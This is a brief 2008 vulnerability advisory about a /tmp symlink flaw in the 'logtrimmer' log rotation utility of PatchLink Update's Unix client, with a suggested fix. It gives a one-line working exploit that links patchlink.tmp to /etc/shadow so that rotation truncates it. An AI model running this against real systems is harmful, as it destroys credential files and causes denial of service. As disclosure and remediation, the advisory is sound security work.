**PatchLink Update Unix Client File clobbering vulnerability**

Larry W. Cashdollar

Vapid Labs

1/17/2008

**Overview**
From the vendor:

"PatchLink Updateâ„¢ provides rapid, accurate and secure patch management, allowing you to proactively manage threats by automating the collection, analysis and delivery of patches throughout your enterprise. PatchLink Update significantly decreases the costs involved in securing your organization from worms, Trojans, viruses and other malicious threats."

http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443

**Vulnerability**

The log rotation utility "logtrimmer" utilizes space in /tmp improperly and is subject to a symlink attack. By creating a targeted symlink a non root user can clobber root owned files causing DoS.

**Exploit**
<code>
nobody:/tmp> ln -s /etc/shadow patchlink.tmp

After logs are rotated

/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after the log rotation process has finished.

</code>

**Fix**

Create a subdirectory under /tmp or /var/tmp to work from.

For example adding:
<code>
mkdir /var/tmp/plink
chmod 700 /var/tmp/plink

</code>